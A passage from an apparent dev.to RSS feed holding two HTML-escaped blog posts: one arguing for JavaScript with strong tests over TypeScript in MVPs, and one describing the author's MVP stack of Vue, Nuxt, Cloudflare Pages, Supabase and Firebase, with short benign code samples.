&lt;strong&gt;Wrong business logic&lt;/strong&gt; - Your tax calculation is incorrect, but the types are perfect&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Edge cases&lt;/strong&gt; - What happens when the array is empty? When the user submits twice?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration bugs&lt;/strong&gt; - The API returns a different shape than you expected&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Race conditions&lt;/strong&gt; - Two async operations complete in the wrong order&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User flow errors&lt;/strong&gt; - The form submits but the data doesn't save&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tests catch all of the above. They also catch type errors - if you pass a string where a number is expected, your test fails when the function produces garbage output.&lt;/p&gt;

&lt;p&gt;Think about it this way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TypeScript says: "this variable is a string"&lt;/li&gt;
&lt;li&gt;Tests say: "this function returns the correct business result for these 15 edge cases"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One is a subset of the other. If you have strong tests, types become redundant for the errors that matter most in an MVP.&lt;/p&gt;

&lt;p&gt;The real trap is TypeScript with weak tests. You get compile-time confidence that your types are correct, but runtime surprises when your business logic is wrong. JavaScript with strong tests gives you confidence where it counts - in actual behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Speed Tax of TypeScript
&lt;/h2&gt;

&lt;p&gt;For a 2-4 week MVP, TypeScript adds roughly 15-20% overhead. That's not a made-up number - it's what we've observed across projects where we've used both approaches.&lt;/p&gt;

&lt;p&gt;Where does the time go?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type definitions for everything.&lt;/strong&gt; Every function, every object, every prop. For code that might get thrown away next month if the MVP doesn't validate, this is speculative investment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fighting &lt;code&gt;@types/*&lt;/code&gt; packages.&lt;/strong&gt; Third-party type definitions are often outdated, incomplete, or just wrong. You'll spend an hour debugging why the types don't match the actual library behavior, only to discover the type definitions haven't been updated in 18 months.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;tsconfig.json complexity.&lt;/strong&gt; Strict mode? Module resolution? Path aliases? These decisions take time, and the "wrong" choice creates friction throughout the project.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;any&lt;/code&gt; escape hatch.&lt;/strong&gt; When types get complex, developers reach for &lt;code&gt;any&lt;/code&gt;. Every &lt;code&gt;any&lt;/code&gt; in your codebase defeats the purpose of TypeScript. If you're using &lt;code&gt;any&lt;/code&gt; to get around type complexity, you've paid the TypeScript tax without getting the benefits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build step debugging.&lt;/strong&gt; Source maps, compilation errors that don't match runtime behavior, slower feedback loops. These add friction to the rapid iteration that MVPs require.&lt;/p&gt;

&lt;p&gt;The math is simple. A 4-week MVP becomes a 5-week MVP with TypeScript overhead. If 90% of MVPs die before needing that type safety, you've spent an extra week on something that provided no value.&lt;/p&gt;

&lt;h2&gt;
  
  
  Modern JavaScript Is Better Than You Remember
&lt;/h2&gt;

&lt;p&gt;JavaScript in 2025 is not the JavaScript of 2015. The gap between typed and untyped JavaScript has narrowed significantly.&lt;/p&gt;

&lt;p&gt;What we have now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Optional chaining (&lt;code&gt;?.&lt;/code&gt;)&lt;/strong&gt; - No more &lt;code&gt;obj &amp;amp;&amp;amp; obj.prop &amp;amp;&amp;amp; obj.prop.value&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nullish coalescing (&lt;code&gt;??&lt;/code&gt;)&lt;/strong&gt; - Sane defaults without falsy gotchas&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destructuring&lt;/strong&gt; - Clean extraction of values from objects and arrays&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Async/await&lt;/strong&gt; - Readable asynchronous code without callback hell&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classes and modules&lt;/strong&gt; - Proper encapsulation and organization&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JSDoc comments&lt;/strong&gt; - Full IntelliSense in VSCode without compilation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one is underrated. You can write JSDoc type annotations that give you autocomplete, parameter hints, and type checking in your editor - without a build step. It's not as powerful as TypeScript's type system, but it covers 80% of the value for 20% of the complexity.&lt;/p&gt;

&lt;p&gt;A disciplined JavaScript engineer with comprehensive tests, JSDoc for public APIs, ESLint, Prettier, and consistent patterns can deliver maintainable code. We've done it across 10+ MVPs.&lt;/p&gt;

&lt;h2&gt;
  
  
  When TypeScript Is the Right Choice
&lt;/h2&gt;

&lt;p&gt;We're not TypeScript haters. There are clear situations where TypeScript is the right choice:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Large teams (10+ engineers).&lt;/strong&gt; When you can't fit everyone in a room, types become documentation. They communicate intent across team boundaries without requiring verbal coordination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long-lived codebases (5+ years).&lt;/strong&gt; When many maintainers will touch the code over time, types help new developers understand existing code. The investment pays off over years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical systems.&lt;/strong&gt; Payments, healthcare, anything with legal liability. The extra safety is worth the extra time when bugs have severe consequences.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complex data transformations.&lt;/strong&gt; When you're reshaping data across many files, the compiler catches refactoring errors that tests might miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Junior-heavy teams.&lt;/strong&gt; Types guide correct usage and catch mistakes before code review. They're training wheels that prevent common errors.&lt;/p&gt;

&lt;p&gt;For MVPs built by small teams of experienced engineers who write comprehensive tests? TypeScript is overhead without proportional value.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Honest Take
&lt;/h2&gt;

&lt;p&gt;This isn't about being lazy or cutting corners. We have thousands of tests across our projects. We enforce 90%+ coverage as a release gate. We've shipped prototypes to real users who depend on them working correctly.&lt;/p&gt;

&lt;p&gt;TypeScript is a great tool for the right context. For MVPs where speed matters and test coverage is high, it's overhead we choose not to pay.&lt;/p&gt;

&lt;p&gt;The real question isn't "TypeScript or JavaScript?" It's "What's the fastest path to validating this product with acceptable quality?" For us, that's JavaScript with strong tests. Your answer might be different depending on your team, your timeline, and your risk tolerance.&lt;/p&gt;

&lt;p&gt;If your MVP survives - if you find product-market fit and need to scale to 10 engineers and 100K users - add TypeScript then. You'll be rewriting half the code anyway as you learn what your product actually needs to be.&lt;/p&gt;

&lt;p&gt;But don't optimize for scale you might never reach. Ship fast, validate demand, and invest in long-term maintainability only after you've proven the product deserves to exist.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://codecrank.ai/blog/javascript-vs-typescript-mvps/" rel="noopener noreferrer"&gt;codecrank.ai/blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>typescript</category>
      <category>testing</category>
      <category>startup</category>
    </item>
    <item>
      <title>Our Battle-Tested MVP Stack: What We Use and Why</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 15 Dec 2025 17:30:43 +0000</pubDate>
      <link>https://dev.to/danieltofan/our-battle-tested-mvp-stack-what-we-use-and-why-3jja</link>
      <guid>https://dev.to/danieltofan/our-battle-tested-mvp-stack-what-we-use-and-why-3jja</guid>
      <description>&lt;p&gt;Every tech stack article makes the same mistake: they compare features on paper without building anything. "React has a larger ecosystem." "Vue is easier to learn." "Vercel has great DX." These claims mean nothing until you hit production.&lt;/p&gt;

&lt;p&gt;We've built eight production demos with this stack. Not prototypes—fully deployed sites with real users, 90-100/100 PageSpeed scores, and $0/month hosting costs. Every choice we make comes from shipping code, not reading documentation.&lt;/p&gt;

&lt;p&gt;This article documents our complete MVP stack: Vue over React, Nuxt over Next, Cloudflare over Vercel, and when to use Supabase versus Firebase. We'll explain the reasoning, share the war stories, and tell you when to ignore our advice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you'll learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why we choose Vue and independent teams over corporate frameworks&lt;/li&gt;
&lt;li&gt;The real Vercel restrictions we hit (and why we switched to Cloudflare)&lt;/li&gt;
&lt;li&gt;Backend choices: Supabase, Firebase, and Cloudflare Workers&lt;/li&gt;
&lt;li&gt;Why 90%+ test coverage is non-negotiable&lt;/li&gt;
&lt;li&gt;When to break these rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Our proof:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;8 production demos at &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;codecrank.ai&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;90-100/100 PageSpeed scores across all sites&lt;/li&gt;
&lt;li&gt;$0/month hosting for everything&lt;/li&gt;
&lt;li&gt;2-4 week delivery timelines&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's start with the most controversial choice.&lt;/p&gt;




&lt;h2&gt;
  
  
  Frontend: Vue Over React
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Corporate Framework Problem
&lt;/h3&gt;

&lt;p&gt;React is a Facebook framework built for Facebook's priorities. Angular is a Google framework built for Google's priorities. When Meta needs to optimize for their billion-user social network, React's roadmap reflects that—not your 2-week MVP.&lt;/p&gt;

&lt;p&gt;Vue is different. Evan You and a small team built it independently, on their own time, because they saw what was wrong with corporate frameworks and decided to do better. That independence signals care. No shareholder demands. No corporate roadmap. Just developers building the best tool they can.&lt;/p&gt;

&lt;p&gt;This isn't anti-corporation ideology. It's practical: independent teams optimize for developer experience because that's their only competitive advantage. Corporate frameworks optimize for internal priorities that may never align with yours.&lt;/p&gt;

&lt;h3&gt;
  
  
  Code Quality: Templates vs JSX
&lt;/h3&gt;

&lt;p&gt;React's JSX mixes markup and logic in one file. Some developers love this. We find it harder to read and reason about—especially when debugging at 2am.&lt;/p&gt;

&lt;p&gt;Vue's single-file components separate concerns clearly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vue"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!-- HTML structure, easy to scan --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"card"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{{&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="si"&gt;}}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt; &lt;span class="na"&gt;setup&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// Logic, isolated and testable&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;defineProps&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;style&lt;/span&gt; &lt;span class="na"&gt;scoped&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;/* Styles, scoped to this component */&lt;/span&gt;
&lt;span class="nc"&gt;.card&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1rem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;style&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Template, script, style. Three sections, three concerns, zero mixing. When something breaks, you know where to look.&lt;/p&gt;

&lt;h3&gt;
  
  
  Composition API: Hooks Done Right
&lt;/h3&gt;

&lt;p&gt;Vue's Composition API learned from React Hooks' mistakes. No stale closure bugs. No dependency array footguns. No &lt;code&gt;useEffect&lt;/code&gt; cleanup confusion.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vue"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt; &lt;span class="na"&gt;setup&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;computed&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vue&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doubled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean, predictable, debuggable. The reactivity system handles dependencies automatically—you don't manually specify what to watch.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Market Share Argument
&lt;/h3&gt;

&lt;p&gt;"But React has 40% market share and more jobs."&lt;/p&gt;

&lt;p&gt;For MVPs, this argument fails. You're not hiring a 10-person React team. You're building fast with 1-3 developers. Vue has everything you need for 95% of MVPs. Choosing React for "future hiring" optimizes for a future that may never happen—42% of startups fail due to no market need, not framework choice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When React wins:&lt;/strong&gt; You need React Native for mobile, your team is already expert in React, or you need a very specific niche library that only exists in the React ecosystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When Vue wins:&lt;/strong&gt; Small teams, MVPs, clean maintainable code matters, and you value independent teams over corporate frameworks.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Vue Ecosystem: Quasar
&lt;/h3&gt;

&lt;p&gt;Speaking of independent teams—Quasar deserves mention. It's a Vue component framework with 80+ production-ready components, excellent documentation, and a small team that genuinely cares about developer experience.&lt;/p&gt;

&lt;p&gt;When we need data tables, form validation, dialogs, or complex UI patterns, Quasar has them built-in. No hunting through npm for compatible libraries. No version conflicts. One framework, everything works together.&lt;/p&gt;

&lt;p&gt;For SaaS dashboards and data-heavy applications, we pair Quasar with Vue. For marketing sites and content-focused MVPs, we use Nuxt.&lt;/p&gt;




&lt;h2&gt;
  
  
  Meta-Framework: Nuxt
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nuxt 4: Batteries Included
&lt;/h3&gt;

&lt;p&gt;Nuxt gives you everything without configuration:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File-based routing:&lt;/strong&gt; Create a file, get a route. No React Router setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-imports:&lt;/strong&gt; Use &lt;code&gt;ref()&lt;/code&gt; without importing it. Components auto-register.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Image optimization:&lt;/strong&gt; &lt;code&gt;&amp;lt;NuxtPicture&amp;gt;&lt;/code&gt; handles AVIF/WebP conversion automatically.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SEO:&lt;/strong&gt; &lt;code&gt;useHead()&lt;/code&gt; for meta tags, built-in sitemap generation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deployment:&lt;/strong&gt; One-line adapters for Cloudflare, Vercel, Netlify, Node.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight vue"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- pages/about.vue --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;NuxtPicture&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/team.jpg"&lt;/span&gt; &lt;span class="na"&gt;sizes=&lt;/span&gt;&lt;span class="s"&gt;"sm:100vw md:50vw"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;About Us&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt; &lt;span class="na"&gt;setup&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nf"&gt;useHead&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;About Us&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;meta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Our team and mission&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="k"&gt;script&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a complete, SEO-optimized page with responsive images. No configuration files. No import statements for framework features.&lt;/p&gt;

&lt;h3&gt;
  
  
  SSG for MVPs
&lt;/h3&gt;

&lt;p&gt;Most MVPs don't need server-side rendering on every request. Static Site Generation (SSG) pre-renders pages at build time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Zero server costs (static files on CDN)&lt;/li&gt;
&lt;li&gt;Instant page loads (no server round-trip)&lt;/li&gt;
&lt;li&gt;Perfect for marketing sites, blogs, documentation&lt;/li&gt;
&lt;li&gt;Still dynamic where needed (client-side hydration)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All eight of our demos use Nuxt SSG deployed to Cloudflare Pages. Zero hosting costs, sub-second load times.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hosting: Cloudflare Over Vercel
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Story
&lt;/h3&gt;

&lt;p&gt;We evaluated Vercel for a serverless API project. The developer experience looked great. Then we hit reality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Restriction #1: Git Author Email&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Vercel's Hobby plan requires your git commit author email to match your Vercel account email. We use privacy-focused email aliases for git commits. Vercel rejected every deploy.&lt;/p&gt;

&lt;p&gt;The error message was cryptic. We spent an hour debugging before finding a buried forum post explaining the restriction. Workaround: change our git config globally, breaking our privacy setup, or upgrade to Pro.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Restriction #2: Zero Team Collaboration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Adding a second developer to a Hobby project? Upgrade to Pro: $20/user/month. For a two-person team, that's $480/year to collaborate on a side project.&lt;/p&gt;

&lt;p&gt;We tried the Deploy Hook workaround—give your teammate a webhook URL to trigger deploys without account access. It worked, but felt fragile. No PR previews for them. No deploy logs. No real collaboration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three Hours Later&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We'd spent three hours fighting restrictions on a "free" platform. That's not free—that's a trap.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Switch to Cloudflare
&lt;/h3&gt;

&lt;p&gt;Cloudflare Pages has none of these restrictions. No git author email requirements. Unlimited bandwidth (Vercel caps at 100GB/month on Hobby). Same features—preview deployments, custom domains, git integration.&lt;/p&gt;

&lt;p&gt;The migration took 20 minutes. Connect GitHub repo, set build command (&lt;code&gt;npm run generate&lt;/code&gt;), deploy. Every feature we needed, zero friction.&lt;/p&gt;

&lt;h3&gt;
  
  
  When Vercel Makes Sense
&lt;/h3&gt;

&lt;p&gt;Vercel isn't bad—it's optimized for a different use case:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Next.js SSR:&lt;/strong&gt; Vercel's edge functions are tightly integrated with Next.js server components&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Already on Pro:&lt;/strong&gt; If you're paying, the restrictions don't apply&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enterprise features:&lt;/strong&gt; Advanced analytics, password protection, team management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For static sites, Nuxt SSG, or small teams on a budget? Cloudflare wins.&lt;/p&gt;

&lt;h3&gt;
  
  
  What About Netlify?
&lt;/h3&gt;

&lt;p&gt;Netlify is solid. We haven't used it extensively, but the comparison favors Cloudflare for our use case: unlimited bandwidth vs 100GB, 500 builds/month vs 300 minutes, and Cloudflare's 200+ edge locations deliver better performance globally—especially in Asia, Africa, and the Middle East.&lt;/p&gt;

&lt;p&gt;Netlify's advantage is built-in form handling without code. If you need contact forms on a static site and don't want to wire up a serverless function, Netlify makes that trivial. For everything else, Cloudflare's ecosystem (Workers, D1, R2) gives you more room to grow.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Broader Lesson
&lt;/h3&gt;

&lt;p&gt;Free tiers exist to convert you to paid tiers. Every platform makes "free" painful enough that upgrading feels worth it. Cloudflare's free tier is genuinely generous because their business model is different—they want you on their network for DNS, CDN, and eventually Workers.&lt;/p&gt;

&lt;p&gt;Know the business model. It predicts the restrictions.&lt;/p&gt;




&lt;h2&gt;
  
  
  Backend: Choosing the Right Tool
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Supabase: PostgreSQL + Auth + Storage + Vector Search
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;When to use:&lt;/strong&gt; Relational data, user authentication, file storage, or AI-powered search.&lt;/p&gt;

&lt;p&gt;Supabase gives you a full PostgreSQL database with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Row-level security (authorization at the database level)&lt;/li&gt;
&lt;li&gt;Built-in auth (email, OAuth, magic links)&lt;/li&gt;
&lt;li&gt;Real-time subscriptions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;pgvector for semantic search&lt;/strong&gt; (critical for AI applications)&lt;/li&gt;
&lt;li&gt;Generous free tier (500MB database, 1GB storage)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Client-side query with auth&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;supabase&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;projects&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user_id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pgvector extension is a game-changer. We're currently building something with it—a recommendation engine powered by an in-house fine-tuned model. Vector similarity search against 10,000+ items, sub-second responses, all running on Supabase's free tier. More on that soon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; SaaS apps, user-generated content, complex data relationships, AI-powered recommendations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Firebase: NoSQL + Real-time
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;When to use:&lt;/strong&gt; Rapid prototyping, real-time features, mobile apps.&lt;/p&gt;

&lt;p&gt;Firebase's Firestore excels at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real-time sync across devices&lt;/li&gt;
&lt;li&gt;Offline support (critical for mobile)&lt;/li&gt;
&lt;li&gt;Simple document/collection model&lt;/li&gt;
